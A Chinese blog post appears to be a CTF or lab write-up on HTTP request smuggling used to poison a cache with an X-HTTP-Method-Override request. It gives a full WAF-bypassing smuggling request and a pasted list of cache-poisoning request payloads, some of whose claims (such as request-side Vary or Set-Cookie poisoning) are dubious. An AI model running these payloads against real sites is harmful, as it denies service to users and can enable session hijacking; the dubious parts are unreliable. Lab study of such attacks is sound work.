缓存投毒+HTTP请求走私

这道题目的目的是缓存投毒,让别人访问不了。用的是X-HTTP-Method-Override的方法,也就是说看上去用的是GET请求,实际执行的是会导致405 Method Not Allowed的非法请求,导致GET请求被污染了。但是有WAF,也就是说没法直接显示地使用X-HTTP-Method-Override,这时候就想到了HTTP请求走私,在正常地请求地body中藏一个带有X-HTTP-Method-Override的请求,然后利用请求走私,让第二个请求留在服务器缓存中,在之后的请求中被执行
注意:一定要找到合理的访问路径。大家访问的是/根目录,而不是/login,你如果找错了目录的话是没法投毒的。
同时也要注意HTTP报文的格式,在burp suite把\r\n显示打开。

这道题的环境配置:GPT教我的。我需要SOCK5代理到warhead平台,但是又要burpsuite拦截,那么可以考虑将http流量代理到burp suite,然后让burp suite负责sock5代理。这好东西

POST /login HTTP/1.1
Host: 192.168.1.77:5002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 131
Origin: http://192.168.1.77:5002
Connection: keep-alive
Referer: http://192.168.1.77:5002/login
Cookie: hacker_token=84-OX0I0gWWUy-Xd3ybkU6xbA-84
Upgrade-Insecure-Requests: 1
Priority: u=0, i
X-Hack-Mode: 1 
X-Transfer-Encoding: chunked
X-Content-Length: 135

0

GET / HTTP/1.1
Host: 192.168.1.77:5002
Cookie: hacker_token=84-OX0I0gWWUy-Xd3ybkU6xbA-84
X-HTTP-Method-Override: DELETE


image

HTTP 缓存投毒方式总结
从你的请求来看,你的目标是 GET / 的返回内容进行缓存投毒,即让其他访问该 URL 的用户获取错误或恶意内容。以下是几种可能的 缓存投毒(Cache Poisoning) 方法,前提是你的目标服务器或缓存系统 存在解析不一致性误信任某些 HTTP 头


1. 伪造 X-Forwarded-Host 进行缓存投毒

原理

许多 Web 服务器会信任 X-Forwarded-Host 头,并将其用于缓存键(Cache Key)。如果服务器 X-Forwarded-Host 作为缓存索引的一部分,攻击者可以伪造 X-Forwarded-Host 头,使服务器错误地缓存错误页面或恶意内容。

攻击步骤

发送如下请求:

GET / HTTP/1.1
Host: 192.168.1.77:5002
X-Forwarded-Host: evil.com
  • 如果服务器信任 X-Forwarded-Host,那么 evil.com 可能会被缓存,并返回给后续访问 192.168.1.77:5002 的用户。
  • 如果 evil.com 不存在,可能会导致 404 Not Found 页面被缓存,让所有用户访问 / 时都得到 404

检测方法

  1. 发送一个带有 X-Forwarded-Host 的请求,看看返回是否发生变化:
    GET / HTTP/1.1
    Host: 192.168.1.77:5002
    X-Forwarded-Host: test.com
    
  2. 再次访问 /,如果响应变了,说明服务器可能受到该攻击影响。

2. 触发错误页面并缓存(CPDoS - Cache Poisoned Denial of Service)

原理

如果服务器 会缓存错误页面(如 400 Bad Request500 Internal Server Error 等),攻击者可以发送一个 格式错误 的请求,让缓存服务器存储错误页面,使所有后续用户都无法访问 /

攻击步骤

发送 超长头部请求

GET / HTTP/1.1
Host: 192.168.1.77:5002
X-Oversized-Header: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  • 如果服务器对超长 HTTP 头部 返回 400 Bad Request,并且缓存系统错误地缓存了该错误页面,所有用户访问 / 时都会收到 400

或者发送 非法元字符

GET / HTTP/1.1
Host: 192.168.1.77:5002
X-Meta-Character: \n
  • 如果服务器返回 400,缓存了这个错误响应,则 / 变成无效页面。

检测方法

  1. 发送 超长头部非法元字符 请求,看看返回的状态码:
    GET / HTTP/1.1
    Host: 192.168.1.77:5002
    X-Test: \n
    
  2. 如果返回 400,再访问 / 看看是否返回错误页面。

3. 伪造 X-HTTP-Method-Override 进行缓存污染

原理

某些服务器支持 X-HTTP-Method-Override 头部,使 GET 请求变成 POSTPUT 等方法。如果服务器错误地缓存了 404405 响应,则 / 可能会被缓存为错误页面。

攻击步骤

GET / HTTP/1.1
Host: 192.168.1.77:5002
X-HTTP-Method-Override: POST
  • 如果 / 不支持 POST,可能返回 405 Method Not Allowed
  • 如果缓存服务器错误地缓存了 405 页面,所有用户访问 / 时都会看到 405

检测方法

  1. 发送 X-HTTP-Method-Override 头并查看响应:
    GET / HTTP/1.1
    Host: 192.168.1.77:5002
    X-HTTP-Method-Override: DELETE
    
  2. 之后再直接访问 /,看看返回是否被污染。

4. 伪造 Vary 头部制造缓存混乱

原理

许多缓存系统使用 Vary 头来区分不同的缓存版本。例如:

Vary: User-Agent

意味着不同的 User-Agent 会得到不同的缓存。如果 Vary 头被滥用,可以让缓存存储无数个版本的页面,使系统崩溃。

攻击步骤

发送如下请求:

GET / HTTP/1.1
Host: 192.168.1.77:5002
Vary: *
  • 可能导致缓存存储 无数个不同版本/,使缓存服务器崩溃,导致 DoS 攻击

检测方法

  1. 发送 Vary: * 头的请求:
    GET / HTTP/1.1
    Host: 192.168.1.77:5002
    Vary: *
    
  2. 再次访问 / 看看返回是否有异常。

原理

某些服务器错误地将 Set-Cookie 头部存入缓存,导致所有访问者的请求都带有攻击者的 Cookie。

攻击步骤

GET / HTTP/1.1
Host: 192.168.1.77:5002
Set-Cookie: session=evil
  • 如果服务器缓存了该 Set-Cookie 头,所有用户访问 / 时都会带上 session=evil,可能导致会话劫持。

检测方法

  1. 发送带有 Set-Cookie 头的请求:
    GET / HTTP/1.1
    Host: 192.168.1.77:5002
    Set-Cookie: hacker_token=malicious_value
    
  2. 让其他用户访问 /,如果他们的 Cookie 变了,说明攻击成功。

总结

攻击方式 目标 影响
X-Forwarded-Host 伪造 Host 让服务器返回 404 或错误页面,并缓存
HTTP 头超长攻击(HHO) 触发 400 Bad Request 让缓存系统存储 400 页面,导致 DoS
HTTP 元字符攻击(HMC) 发送特殊字符 让缓存服务器缓存 400
X-HTTP-Method-Override 触发 405 Method Not Allowed / 返回 405 错误页面
Vary 头投毒 伪造 Vary: * 让缓存系统存储无数个 / 版本,造成 DoS
伪造 Set-Cookie 设置全局 Cookie 让所有用户都带有攻击者的 Cookie
posted @ 2025-02-19 13:57  peterzh6  阅读(8)  评论(0)    收藏  举报